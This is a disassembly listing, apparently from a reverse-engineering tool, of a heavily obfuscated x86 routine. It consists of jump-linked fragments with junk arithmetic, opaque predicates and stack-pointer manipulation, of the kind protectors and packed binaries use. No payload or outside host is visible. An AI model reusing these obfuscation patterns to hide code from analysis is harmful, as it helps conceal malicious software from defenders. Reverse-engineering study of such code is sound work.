		sub	[esp+68h+var_68], 31715F49h
		pop	ebx
		add	ebx, 31715F49h
		mov	eax, [esp+64h+var_64]
		jmp	loc_5A85D4
; ---------------------------------------------------------------------------


loc_5A4AB4:				; CODE XREF: sub_58A891:loc_5AF5FAj
		xchg	eax, esi
		jmp	loc_59D221
; ---------------------------------------------------------------------------


loc_5A4ABA:				; CODE XREF: sub_58A891+1F305j
		mov	eax, [esp+64h+var_64]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+68h+var_68]
		pop	esp
		push	ecx
		push	esp
		jmp	loc_5AE76F
; ---------------------------------------------------------------------------


loc_5A4AD4:				; CODE XREF: sub_58A891+16DAFj
		mov	ebx, 71EB4719h
		neg	ebx
		jmp	loc_59DFC5
; ---------------------------------------------------------------------------


loc_5A4AE0:				; CODE XREF: sub_58A891+126FEj
		sub	ebp, 4094758Ch
		pop	edi
		push	edx
		jmp	loc_5ADD92
; ---------------------------------------------------------------------------


loc_5A4AED:				; CODE XREF: sub_58A891+24132j
		mov	[esp+0], ebp
		sub	dword ptr [esp+0], 1F626A72h
		pop	edi
		add	edi, 1F626A72h
		jmp	loc_5A1357
; ---------------------------------------------------------------------------


loc_5A4B03:				; CODE XREF: sub_58A891+2206Fj
		add	eax, 1F740265h
		sub	eax, edx
		sub	eax, 1F740265h
		pop	edx
		push	[esp+92h+var_94+2]
		jmp	loc_5A6622
; ---------------------------------------------------------------------------


loc_5A4B18:				; CODE XREF: sub_58A891+257A2j
					; sub_58A891+2593Ej
		mov	[esp+96h+var_98+2], ebp
		mov	ebp, 0A5147CDBh
		sub	ebx, ebp
		pop	ebp
		sub	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_5A849A
; ---------------------------------------------------------------------------


loc_5A4B2D:				; CODE XREF: sub_58A891+238D3j
		sub	edi, 5C603285h
		mov	ecx, edi
		pop	edi
		sub	esi, ecx
		jmp	loc_5AE338
; ---------------------------------------------------------------------------


loc_5A4B3D:				; CODE XREF: sub_58A891+268BFj
		push	eax
		mov	eax, 7BAA41BCh
		xor	ebp, eax
		pop	eax
		sub	edx, ebp
		pop	ebp
		sub	edx, 7E1650EDh
		sub	edx, ebx
		jmp	loc_5B055A
; ---------------------------------------------------------------------------


loc_5A4B56:				; CODE XREF: sub_58A891+17247j
		sub	esp, 4
		jmp	loc_5A5558
; ---------------------------------------------------------------------------


loc_5A4B61:				; CODE XREF: sub_58A891+24469j
		push	dword ptr [edx]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A4B68:				; CODE XREF: sub_58A891+1408Ej
		add	[esp+0A8h+var_AA+2], 4
		pop	ecx
		jmp	loc_5A582D
; ---------------------------------------------------------------------------


loc_5A4B75:				; CODE XREF: sub_58A891+1B02Ej
		add	esp, 4
		jmp	loc_5A9BEB
; ---------------------------------------------------------------------------


loc_5A4B7D:				; CODE XREF: sub_58A891+286A0j
		pop	edi
		add	ecx, ebx
		add	dword ptr [ecx], 1
		pop	ecx
		mov	ebx, [esp+98h+var_98]
		jmp	loc_5A0713
; ---------------------------------------------------------------------------


loc_5A4B8F:				; CODE XREF: sub_58A891+127F0j
		mov	[esp+9Eh+var_9E], edx
		mov	edx, 6D2D6F2Bh
		shr	edx, 8
		xchg	esi, edx
		not	esi
		jmp	loc_5AEE95
; ---------------------------------------------------------------------------


loc_5A4BA3:				; CODE XREF: sub_58A891+14CEEj
		push	ebx
		not	[esp+16h+var_18+2]
		mov	ebx, [esp+16h+var_18+2]
		jmp	loc_5AF770
; ---------------------------------------------------------------------------


loc_5A4BAF:				; CODE XREF: sub_58A891+150E1j
					; sub_58A891+22984j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		jmp	loc_59C526
; ---------------------------------------------------------------------------


loc_5A4BBD:				; CODE XREF: sub_58A891+24BEEj
		sub	ebp, 2D0A3FC2h
		push	ebp
		jmp	loc_5AD523
; ---------------------------------------------------------------------------


loc_5A4BC9:				; CODE XREF: sub_58A891:loc_5AF877j
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		or	ebx, 6297610h
		jmp	loc_5AF48B
; ---------------------------------------------------------------------------


loc_5A4BDA:				; CODE XREF: sub_58A891+254D2j
		pop	esi
		pop	edi
		jmp	loc_5A48E9
; ---------------------------------------------------------------------------


loc_5A4BE1:				; CODE XREF: sub_58A891+2379Aj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+16h+var_18+2], ecx
		push	2EFCh
		mov	[esp+1Ah+var_1C+2], ebp
		mov	ebp, 6D6F6AEBh
		sub	ebp, 564D3F35h
		jmp	loc_5AC548
; ---------------------------------------------------------------------------


loc_5A4C16:				; CODE XREF: sub_58A891+21AC3j
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5A5064
; ---------------------------------------------------------------------------


loc_5A4C24:				; CODE XREF: sub_58A891+23577j
		mov	esi, 0FF861F1h
		neg	esi
		jnp	loc_59E3AC
		dec	esi
		jmp	loc_5A1CBA
; ---------------------------------------------------------------------------


loc_5A4C37:				; CODE XREF: sub_58A891+1EEDDj
		sub	eax, 4
		jmp	loc_5A2581
; ---------------------------------------------------------------------------


loc_5A4C3F:				; CODE XREF: sub_58A891+11922j
					; sub_58A891+13625j
		dec	esi
		push	ebx
		mov	ebx, 522C556Ah
		and	esi, ebx
		pop	ebx
		sub	esi, 0CFF79424h
		push	edi
		push	esi
		jmp	loc_5A695F
; ---------------------------------------------------------------------------


loc_5A4C56:				; CODE XREF: sub_58A891+1A452j
					; sub_58A891+21CB2j
		xor	cl, 93h
		neg	cl
		xchg	bl, cl
		not	bl
		xchg	bl, cl
		xor	cl, 0F4h
		add	cl, 1Dh
		add	al, cl
		pop	ecx
		push	ecx
		jmp	loc_5A3908
; ---------------------------------------------------------------------------


loc_5A4C70:				; CODE XREF: sub_58A891+25BC0j
		mov	[esp+26h+var_28+2], eax
		push	[esp+26h+var_28+2]
		mov	eax, [esp+2Ah+var_2C+2]
		push	eax
		push	3E5Bh
		mov	[esp+32h+var_34+2], esp
		add	[esp+32h+var_34+2], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+2Eh+var_30+2]
		pop	esp
		push	176h
		mov	[esp+2Eh+var_30+2], esi
		mov	esi, esp
		jmp	loc_5A66EA
; ---------------------------------------------------------------------------


loc_5A4CA2:				; CODE XREF: sub_58A891:loc_5A17CFj
		sub	edi, 6EFC3EE4h
		jp	loc_5B2F29
		xor	edi, 6C19B0F5h
		mov	ecx, edi
		jmp	loc_5ADDE4
; ---------------------------------------------------------------------------
		mov	cl, ah


loc_5A4CBD:				; CODE XREF: sub_58A891+1E50Dj
		mov	esi, [esp+0AEh+var_AE]
		add	esp, 4
		jmp	loc_5A49AD
; ---------------------------------------------------------------------------


loc_5A4CCB:				; CODE XREF: sub_58A891+1E635j
		mov	[esp+0AAh+var_AA], ecx
		push	esp
		pop	ecx
		jmp	loc_5ADE00
; ---------------------------------------------------------------------------


loc_5A4CD5:				; CODE XREF: sub_58A891+15614j
		lodsd
		jmp	loc_5AD1D7
; ---------------------------------------------------------------------------


loc_5A4CDB:				; CODE XREF: sub_58A891+26393j
		sub	edi, 0CD806F00h
		mov	ebp, edi
		jmp	loc_5A4C56
; ---------------------------------------------------------------------------


loc_5A4CE8:				; CODE XREF: sub_58A891+2548Fj
		mov	ebp, 6FCF6CE3h
		jmp	loc_5AA481
; ---------------------------------------------------------------------------


loc_5A4CF2:				; CODE XREF: sub_58A891+15DA6j
		shl	edi, 3
		neg	edi
		dec	edi
		jp	loc_5A148E
		jmp	loc_5A0A9F
; ---------------------------------------------------------------------------


loc_5A4D03:				; CODE XREF: sub_58A891+1C23Fj
		mov	edx, ebx
		jmp	loc_5A710F
; ---------------------------------------------------------------------------


loc_5A4D0A:				; CODE XREF: sub_58A891+181C4j
		mov	edx, [esp+12h+var_14+2]
		jmp	loc_59CBAF
; ---------------------------------------------------------------------------


loc_5A4D12:				; CODE XREF: sub_58A891+246BFj
		push	2B36h
		mov	[esp+16h+var_18+2], ebx
		push	[esp+16h+var_14+2]
		push	[esp+1Ah+var_1C+2]
		pop	ebx
		add	esp, 4
		pop	[esp+16h+var_18+2]
		jmp	loc_5AEA1B
; ---------------------------------------------------------------------------


loc_5A4D30:				; CODE XREF: sub_58A891+27580j
		push	esi
		jmp	loc_5A6269
; ---------------------------------------------------------------------------


loc_5A4D36:				; CODE XREF: sub_58A891+1277Bj
					; sub_58A891+24D70j
		mov	esi, 42912503h
		or	esi, 1C10296Ch
		jmp	loc_5A20E1
; ---------------------------------------------------------------------------


loc_5A4D46:				; CODE XREF: sub_58A891+1E315j
		jp	loc_5A817A
		shl	bl, 8
		jp	loc_59F871
		mov	bl, al
		mov	edi, ecx


loc_5A4D59:				; CODE XREF: sub_58A891+1B490j
		sub	edx, 58E2E6A6h
		or	ecx, edx
		pop	edx
		or	ecx, 2BCF1998h
		neg	ecx
		add	ecx, 0B0EDF4A6h
		sub	ebp, ecx
		pop	ecx
		pop	edx
		push	eax
		jmp	loc_5ACEAE
; ---------------------------------------------------------------------------


loc_5A4D7A:				; CODE XREF: sub_58A891+13B1Cj
		jge	loc_5A4309
		jmp	loc_5AF44A
; ---------------------------------------------------------------------------


loc_5A4D85:				; CODE XREF: sub_58A891+1A6F7j
		pop	edx
		jmp	loc_5A875E
; ---------------------------------------------------------------------------


loc_5A4D8B:				; CODE XREF: sub_58A891+1959Fj
		push	[esp+0Eh+var_10+2]
		push	[esp+12h+var_14+2]
		mov	edx, [esp+16h+var_18+2]
		add	esp, 4
		push	esi
		jmp	loc_5ACFFD
; ---------------------------------------------------------------------------


loc_5A4D9D:				; CODE XREF: sub_58A891+20501j
		mov	dh, 1Eh
		or	dh, 0AAh
		push	cx
		mov	cl, 2
		sub	dh, cl
		pop	cx
		xor	cl, dh
		pop	edx
		push	2B5Ch
		jmp	loc_5A3AB7
; ---------------------------------------------------------------------------


loc_5A4DB7:				; CODE XREF: sub_58A891+1C71Ej
		pop	esp
		mov	[esp+12h+var_14+2], ebx
		mov	ebx, 3E6D1400h
		xor	ebx, 538076DBh
		dec	ebx
		push	esi
		push	edi
		jmp	loc_59C554
; ---------------------------------------------------------------------------


loc_5A4DCE:				; CODE XREF: sub_58A891+1FAE4j
		or	ecx, 58AF32E2h
		jbe	loc_5AC20B
		add	ecx, 932D31CAh
		xor	ecx, 1D5D047Ah
		jmp	loc_5A6D09
; ---------------------------------------------------------------------------


loc_5A4DEB:				; CODE XREF: sub_58A891+19B2Cj
		mov	edx, 8BF01B7h
		mov	edi, edx
		pop	edx
		jmp	loc_5A1AED
; ---------------------------------------------------------------------------


loc_5A4DF8:				; CODE XREF: sub_58A891+1A9F4j
		sub	bh, 0A6h
		and	bh, 0C2h
		xor	bh, 3Bh
		push	ecx
		jmp	loc_5AA6F5
; ---------------------------------------------------------------------------


loc_5A4E07:				; CODE XREF: sub_58A891+254C2j
		push	[esp+0CCh+var_CE+2]
		jmp	loc_5A253A
; ---------------------------------------------------------------------------


loc_5A4E0F:				; CODE XREF: sub_58A891+1782Dj
		push	[esp+0B0h+var_AE+2]
		mov	ecx, [esp+0B4h+var_B6+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0B8h+var_BA+2]
		pop	esp
		pop	[esp+0B4h+var_B6+2]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp+0B0h+var_B2+2], ebx
		push	eax
		jmp	loc_5B0AF7
; ---------------------------------------------------------------------------


loc_5A4E3A:				; CODE XREF: sub_58A891+269F7j
		xor	edi, 1FB85F4Ch
		xor	ebx, edi
		pop	edi
		and	edx, ebx
		jmp	loc_5B13D5
; ---------------------------------------------------------------------------


loc_5A4E4A:				; CODE XREF: sub_58A891+21B64j
		mov	edx, [esp+0B0h+var_B2+2]
		add	esp, 4
		push	edi
		mov	edi, 55B03B79h
		sub	edi, 55B03B75h
		jmp	loc_5B0DF6
; ---------------------------------------------------------------------------


loc_5A4E64:				; CODE XREF: sub_58A891+1DA2Fj
					; sub_58A891+24DE7j
		sub	esi, 49224584h
		shr	esi, 7
		jmp	loc_59EF36
; ---------------------------------------------------------------------------


loc_5A4E72:				; CODE XREF: sub_58A891+1A696j
		push	40BEh
		mov	[esp+0B4h+var_B6+2], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 63AE7EE2h
		push	esi
		mov	esi, 13084F2Bh
		jmp	loc_59E4C5
; ---------------------------------------------------------------------------


loc_5A4E93:				; CODE XREF: sub_58A891+20962j
		not	esi
		or	esi, 3765357Bh
		xor	esi, 2C11562Ch
		mov	ecx, esi
		pop	esi
		xor	ecx, 1EC542C8h
		sub	eax, ecx
		pop	ecx
		push	155Ah
		mov	[esp+0B8h+var_BA+2], ebx
		mov	ebx, 58350335h
		sub	eax, ebx
		pop	ebx
		mov	ebp, [esp+0B4h+var_B6+2]
		jmp	loc_5A7E95
; ---------------------------------------------------------------------------


loc_5A4EC5:				; CODE XREF: sub_58A891:loc_5AB989j
		sub	esi, 93FD28C9h
		shl	esi, 5
		shl	esi, 1
		js	loc_5AB1AE
		add	esi, 9B0FA3CAh
		jmp	loc_5A011A
; ---------------------------------------------------------------------------


loc_5A4EE1:				; CODE XREF: sub_58A891+2610Ej
		add	esp, 4
		push	[esp+0B0h+var_B2+2]
		pop	eax
		add	esp, 4
		push	7E70h
		mov	[esp+0B0h+var_B2+2], ebp
		mov	ebp, 18932599h
		push	esi
		mov	esi, 58350335h
		add	eax, 4F895031h
		add	eax, esi
		sub	eax, 4F895031h
		pop	esi
		jmp	loc_5A4FE9
; ---------------------------------------------------------------------------


loc_5A4F13:				; CODE XREF: sub_58A891+162A8j
		add	eax, 2
		jmp	loc_5A2F57
; ---------------------------------------------------------------------------


loc_5A4F1B:				; CODE XREF: sub_58A891+278DBj
		add	esp, 4
		add	esp, 4
		jmp	loc_5A4E72
; ---------------------------------------------------------------------------


loc_5A4F2C:				; CODE XREF: sub_58A891+2516Dj
		mov	ecx, esp
		push	ebp
		mov	ebp, 1CE66FD9h
		jmp	loc_5A8553
; ---------------------------------------------------------------------------


loc_5A4F39:				; CODE XREF: sub_58A891+1704Dj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2Ah+var_2C+2]
		pop	esp
		sub	ecx, ebx
		pop	ebx
		add	ecx, 8F14AEE0h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp+1Eh+var_20+2]
		pop	esp
		mov	cx, word ptr [esp+1Ah+var_1C+2]
		push	eax
		mov	eax, esp
		jmp	loc_59EC4B
; ---------------------------------------------------------------------------


loc_5A4F65:				; CODE XREF: sub_58A891+1DC26j
					; sub_58A891+23935j
		push	29DC6C79h
		mov	ecx, [esp+22h+var_24+2]
		jmp	loc_59F096
; ---------------------------------------------------------------------------


loc_5A4F72:				; CODE XREF: sub_58A891+130EDj
		mov	[esp+0AAh+var_AA], edi
		push	6247B93Ch
		pop	edi
		sub	eax, 53630C5Eh
		push	edx
		mov	edx, 74865C2Dh
		sub	eax, edx
		jmp	loc_5A4D85
; ---------------------------------------------------------------------------


loc_5A4F8D:				; CODE XREF: sub_58A891+25177j
		sub	[esp+0AEh+var_AE], 791C28D2h
		pop	esi
		add	esi, 791C28D2h
		pop	ecx
		pop	ebp
		neg	esi
		jo	loc_59E794
		sub	esi, 64E90EF0h
		jmp	loc_59CC36
; ---------------------------------------------------------------------------


loc_5A4FB0:				; CODE XREF: sub_58A891+1DC8Dj
		neg	ebx
		push	esi
		mov	esi, 1
		add	ebx, esi
		mov	esi, [esp+0A6h+var_A6]
		jmp	loc_5A8093
; ---------------------------------------------------------------------------


loc_5A4FC2:				; CODE XREF: sub_58A891:loc_59CBCEj
		jmp	loc_5AC300
; ---------------------------------------------------------------------------


loc_5A4FC7:				; CODE XREF: sub_58A891+18417j
		push	42C5h
		mov	[esp+6Ch+var_6C], ebx
		mov	ebx, esp
		push	ecx
		push	26BC1EC3h
		mov	ecx, [esp+74h+var_74]
		add	esp, 4
		sub	ecx, 755771E3h
		push	eax
		jmp	loc_59E9A0
; ---------------------------------------------------------------------------


loc_5A4FE9:				; CODE XREF: sub_58A891+1A67Dj
		add	eax, 4D2B2B1Bh
		add	eax, ebp
		push	2D7Ah
		mov	[esp+0B4h+var_B6+2], ecx
		push	esi
		push	34C818A0h
		jmp	loc_5AB1EF
; ---------------------------------------------------------------------------


loc_5A5003:				; CODE XREF: sub_58A891+15640j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5008:				; CODE XREF: sub_58A891+20E33j
		or	ecx, 0F4D0E30h
		jge	loc_59E7CD
		inc	ecx
		jge	loc_5A979D
		mov	al, 0C1h
		mov	ch, 0ABh


loc_5A501F:				; CODE XREF: sub_58A891+25E72j
		cmp	ecx, eax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A5027:				; CODE XREF: sub_58A891+1E3E5j
		shr	ebx, 6
		jmp	loc_5A8155
; ---------------------------------------------------------------------------


loc_5A502F:				; CODE XREF: sub_58A891+18DB2j
		pop	[esp+50h+var_50]
		pop	esp
		jmp	loc_5ADED2
; ---------------------------------------------------------------------------


loc_5A5038:				; CODE XREF: sub_58A891+130A3j
		mov	eax, 54104092h
		add	eax, 36B9640Fh
		sub	eax, ecx
		sub	eax, 36B9640Fh
		mov	ecx, [esp+0B2h+var_B2]
		jmp	loc_5A5DE7
; ---------------------------------------------------------------------------


loc_5A5051:				; CODE XREF: sub_58A891+19ACDj
		add	ebx, edx
		push	eax
		mov	eax, 72932BDFh
		shl	eax, 4
		shr	eax, 1
		inc	eax
		jmp	loc_5ADCA5
; ---------------------------------------------------------------------------


loc_5A5064:				; CODE XREF: sub_58A891+1A38Ej
		add	edi, 4
		xchg	edi, [esp+1Eh+var_20+2]
		jmp	loc_5A856D
; ---------------------------------------------------------------------------


loc_5A506F:				; CODE XREF: sub_58A891+12D95j
		mov	[esp+22h+var_24+2], ecx
		mov	ch, 6Fh
		jmp	loc_59D7BE
; ---------------------------------------------------------------------------


loc_5A5079:				; CODE XREF: sub_58A891+16739j
		xor	esi, 69F15720h
		shl	esi, 6
		shr	esi, 3
		not	esi
		push	ebx
		mov	ebx, 6CA260B3h
		dec	ebx
		or	ebx, 3EFB0E8Dh
		push	ecx
		jmp	loc_59E93D
; ---------------------------------------------------------------------------


loc_5A509A:				; CODE XREF: sub_58A891+1673Fj
		add	ecx, edx
		jmp	loc_5A8D92
; ---------------------------------------------------------------------------


loc_5A50A1:				; CODE XREF: sub_58A891+128AAj
		mov	dl, 0A0h
		inc	dl
		dec	dl
		xor	dl, 43h
		push	ebx
		mov	bh, 20h
		add	bh, 4Fh
		shl	bh, 8
		shl	bh, 7
		dec	bh
		add	bh, 87h
		sub	bh, 6Ch
		add	al, bh
		mov	ebx, [esp+0A6h+var_A6]
		add	esp, 4
		add	al, dl
		push	70DAh
		mov	[esp+0A6h+var_A6], ebx
		mov	bh, 0DCh
		shr	bh, 1
		push	6B28h
		jmp	loc_5AFD02
; ---------------------------------------------------------------------------


loc_5A50DE:				; CODE XREF: sub_58A891+168B6j
		inc	eax
		xor	eax, 3B6679D4h
		add	esi, eax
		pop	eax
		jmp	loc_5A2D9D
; ---------------------------------------------------------------------------


loc_5A50EC:				; CODE XREF: sub_58A891+21D41j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		jmp	loc_5A48FC
; ---------------------------------------------------------------------------


loc_5A50FA:				; CODE XREF: sub_58A891+18FC8j
		pop	esi
		jmp	loc_5A377E
; ---------------------------------------------------------------------------


loc_5A5100:				; CODE XREF: sub_58A891+1E557j
		add	eax, edx
		jmp	loc_5A2C6F
; ---------------------------------------------------------------------------


loc_5A5107:				; CODE XREF: sub_58A891+21E4Fj
		shr	ecx, 1
		sub	ecx, 1
		xor	ecx, 303901A9h
		add	esi, ecx
		pop	ecx
		jmp	loc_59C598
; ---------------------------------------------------------------------------


loc_5A511A:				; CODE XREF: sub_58A891:loc_5A082Dj
		sub	edi, 5C603285h
		mov	ecx, edi
		pop	edi
		sub	esi, ecx
		jmp	loc_59D983
; ---------------------------------------------------------------------------


loc_5A512A:				; CODE XREF: sub_58A891+1D709j
		and	edx, 7D646B35h
		xor	edx, 2D12759Ah
		jmp	loc_5A6468
; ---------------------------------------------------------------------------


loc_5A513B:				; CODE XREF: sub_58A891+1B970j
		sub	ebp, 28524CA9h
		add	ebp, edi
		add	ebp, 28524CA9h
		jmp	loc_5AC7DF
; ---------------------------------------------------------------------------


loc_5A514E:				; CODE XREF: sub_58A891+157F5j
		add	esi, edx
		pop	edx
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp+16h+var_18+2]
		jmp	loc_5A5D3E
; ---------------------------------------------------------------------------


loc_5A5162:				; CODE XREF: sub_58A891+175E6j
		push	esi
		jmp	loc_5B1F4D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+0A6h+var_A6]
		push	6407h
		mov	[esp+0AAh+var_AA], ebp
		push	esp
		mov	ebp, [esp+0AEh+var_AE]
		jmp	loc_59F91E
; ---------------------------------------------------------------------------


loc_5A517D:				; CODE XREF: sub_58A891+20B94j
		push	ecx
		pop	esi
		pop	ecx
		not	ecx
		jmp	loc_59E238
; ---------------------------------------------------------------------------


loc_5A5187:				; CODE XREF: sub_58A891+23002j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0AAh+var_AA]
		mov	esp, [esp+0AAh+var_AA]
		jmp	loc_59D99D
; ---------------------------------------------------------------------------


loc_5A519B:				; CODE XREF: sub_58A891:loc_5A8420j
					; sub_58A891+274F6j
		add	ecx, 0CC8150Fh
		add	edx, 233E5172h
		add	edx, ecx
		push	eax
		mov	eax, 7A1E3B10h
		shl	eax, 6
		neg	eax
		dec	eax
		add	eax, 1C657428h
		inc	eax
		sub	eax, 71985EB6h
		sub	edx, eax
		jmp	loc_5B2EEB
; ---------------------------------------------------------------------------


loc_5A51C7:				; CODE XREF: sub_58A891+15E8Ej
		add	esp, 4
		jmp	loc_59C1F0
; ---------------------------------------------------------------------------


loc_5A51CF:				; CODE XREF: sub_58A891+260EEj
		add	eax, 4
		jmp	loc_5AAA5F
; ---------------------------------------------------------------------------


loc_5A51D9:				; CODE XREF: sub_58A891+1F8C2j
		add	ecx, 26742869h
		neg	ecx
		sub	ecx, 15D528C4h
		add	ecx, 0BD90D374h
		sub	ebx, ecx
		pop	ecx
		pop	edx
		add	ebx, 31F138C2h
		add	ebx, 25B5145Bh
		sub	ebx, eax
		sub	ebx, 25B5145Bh
		sub	esp, 4
		mov	[esp+0A2h+var_A2], ebp
		mov	ebp, 2C7A1C28h
		dec	ebp
		sub	ebp, 64A75CEDh
		and	ebp, 6F374AF1h
		sub	ebp, 1520D16Eh
		sub	ebx, ebp
		pop	ebp
		push	845h
		mov	[esp+0A2h+var_A2], esi
		mov	esi, 3D97EF6h
		not	esi
		push	ebp
		jmp	loc_59E73D
; ---------------------------------------------------------------------------


loc_5A523E:				; CODE XREF: sub_58A891+22C55j
		pop	edi
		add	eax, 20167B14h
		push	edx
		jmp	loc_5ABD81
; ---------------------------------------------------------------------------


loc_5A524A:				; CODE XREF: sub_58A891+256D3j
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------


loc_5A524F:				; CODE XREF: sub_58A891+27C62j
		pop	edx
		jmp	loc_59E8C6
; ---------------------------------------------------------------------------


loc_5A5255:				; CODE XREF: sub_58A891+14E53j
		pop	ebp
		sub	ebp, 375A5599h
		add	ebp, edi
		jmp	loc_5AABF9
; ---------------------------------------------------------------------------


loc_5A5263:				; CODE XREF: sub_58A891+14ACFj
		pop	ebp
		sub	ebp, 3BA4EF52h
		jmp	loc_5AB979
; ---------------------------------------------------------------------------


loc_5A526F:				; CODE XREF: sub_58A891+17231j
		add	edi, 25CD6F4Eh
		sub	edi, 14A46822h
		jmp	loc_5AF4DC
; ---------------------------------------------------------------------------


loc_5A5280:				; CODE XREF: sub_58A891+12FCCj
		push	ebx
		mov	bh, 2Bh
		not	bh
		jmp	loc_5A4DF8
; ---------------------------------------------------------------------------


loc_5A528A:				; CODE XREF: sub_58A891+17DEDj
		shl	cl, 8
		inc	cl
		push	ebx
		mov	bl, 0ADh
		sub	bl, 75h
		xor	cl, bl
		pop	ebx
		add	al, cl
		mov	ecx, [esp+0B6h+var_B6]
		push	eax
		jmp	loc_5A9847
; ---------------------------------------------------------------------------


loc_5A52A3:				; CODE XREF: sub_58A891+19895j
		mov	edx, 51C90E41h
		jmp	loc_5B2FB1
; ---------------------------------------------------------------------------


loc_5A52AD:				; CODE XREF: sub_58A891+15B04j
		add	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp+0C6h+var_C6], eax
		jmp	loc_59D2DD
; ---------------------------------------------------------------------------


loc_5A52BB:				; CODE XREF: sub_58A891+14E82j
		neg	ecx
		add	ecx, 12A1363Fh
		jb	loc_5AAC68
		jmp	loc_5B2CA7
; ---------------------------------------------------------------------------


loc_5A52CE:				; CODE XREF: sub_58A891+196C9j
		mov	edi, [esp+64h+var_64]
		add	esp, 4
		push	ebp
		jmp	loc_5AB4EF
; ---------------------------------------------------------------------------


loc_5A52DD:				; CODE XREF: sub_58A891+2385Bj
		push	edi
		mov	edi, esp
		jmp	loc_5AFB22
; ---------------------------------------------------------------------------


loc_5A52E5:				; CODE XREF: sub_58A891+1BCC2j
		sub	[esp+68h+var_60], 45453BB4h
		sub	[esp+68h+var_60], eax
		push	esi
		mov	esi, 45453BB4h
		add	[esp+6Ch+var_60], esi
		pop	esi
		jmp	loc_5A05D5
; ---------------------------------------------------------------------------


loc_5A5301:				; CODE XREF: sub_58A891+121C5j
		mov	[esp+0A6h+var_A6], ebx
		push	6CCEh
		jmp	loc_5A73A8
; ---------------------------------------------------------------------------


loc_5A530E:				; CODE XREF: sub_58A891+252B6j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp+0AEh+var_AE]
		jmp	loc_59CBE2
; ---------------------------------------------------------------------------


loc_5A5324:				; CODE XREF: sub_58A891+272D1j
		or	ebp, 182134Dh
		inc	ebp
		and	ebp, 28F67C98h
		add	ebp, 3FC4D0C1h
		add	edi, 2DBA3570h
		sub	edi, ebp
		sub	edi, 2DBA3570h
		jmp	$+5
		pop	ebp
		add	edi, ebx
		add	edi, 407748C1h
		sub	edi, 5FF2329h
		mov	ebx, [esp+0AAh+var_AA]
		add	esp, 4
		xchg	edi, [esp+0A6h+var_A6]
		mov	esp, [esp+0A6h+var_A6]
		jmp	loc_5AA8B3
; ---------------------------------------------------------------------------


loc_5A536D:				; CODE XREF: sub_58A891+1AC84j
		pop	di
		sub	di, ax
		pop	eax
		not	di
		neg	di
		push	bp
		mov	bp, 0FFFFh
		add	di, bp
		jmp	loc_5B05D2
; ---------------------------------------------------------------------------


loc_5A5387:				; CODE XREF: sub_58A891+12249j
		add	esi, 4
		xchg	esi, [esp+0BAh+var_BA]
		pop	esp
		push	dword ptr [edx]
		xor	[esp+0BAh+var_BA], 1C6867A1h
		pop	eax
		push	68DDh
		jmp	loc_5AB635
; ---------------------------------------------------------------------------


loc_5A53A5:				; CODE XREF: sub_58A891+1B69Aj
		add	ebx, 71036909h
		mov	edx, [esp+0BAh+var_BA]
		add	esp, 4
		xor	eax, ebx
		jmp	loc_5A6425
; ---------------------------------------------------------------------------


loc_5A53B8:				; CODE XREF: sub_58A891+13E27j
		push	3139h
		mov	[esp+0A8h+var_AA+2], ecx
		mov	ecx, esp
		jmp	loc_5AC280
; ---------------------------------------------------------------------------


loc_5A53C7:				; CODE XREF: sub_58A891+15F23j
					; sub_58A891+26B35j
		sub	eax, edx
		jmp	loc_5A4686
; ---------------------------------------------------------------------------


loc_5A53CE:				; CODE XREF: sub_58A891+1318Cj
		or	ebx, 21050DDEh
		jb	loc_5AD898
		inc	ebx
		jns	loc_5B0D83
		xor	ebx, 1AA63DC7h
		jno	loc_5AE93F
		push	edi


loc_5A53EE:				; CODE XREF: sub_58A891+130AEj
		jp	loc_5AD435
		dec	ecx
		jmp	loc_5B1908
; ---------------------------------------------------------------------------
		sub	ebx, 270F5551h
		mov	ebx, ecx


loc_5A5402:				; CODE XREF: sub_58A891+1E74Fj
		mov	edi, [esp+0A6h+var_A6]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59D45A
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+0AAh+var_AA]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 4
		sub	edx, ecx
		push	[esp+0B2h+var_B2]
		pop	ecx
		add	esp, 4
		push	edx
		push	[esp+0B2h+var_AE]
		pop	edx
		pop	[esp+0B2h+var_B2]
		pop	esp
		mov	[esp+0AAh+var_AA], ebp
		jmp	loc_5B1162
; ---------------------------------------------------------------------------


loc_5A5441:				; CODE XREF: sub_58A891+1A038j
					; sub_58A891+26355j
		jp	loc_5B12B1
		not	ch
		not	ch
		shl	ch, 8
		jmp	loc_5A9328
; ---------------------------------------------------------------------------


loc_5A5453:				; CODE XREF: sub_58A891+1D8FDj
		mov	esi, 6E543A65h
		add	edi, esi
		pop	esi
		push	edx
		mov	edx, 3C616BC6h
		and	edx, 5EDA10B7h
		neg	edx
		not	edx
		jmp	loc_5AD769
; ---------------------------------------------------------------------------


loc_5A5470:				; CODE XREF: sub_58A891+24E24j
		xor	edx, 23115823h
		dec	edx
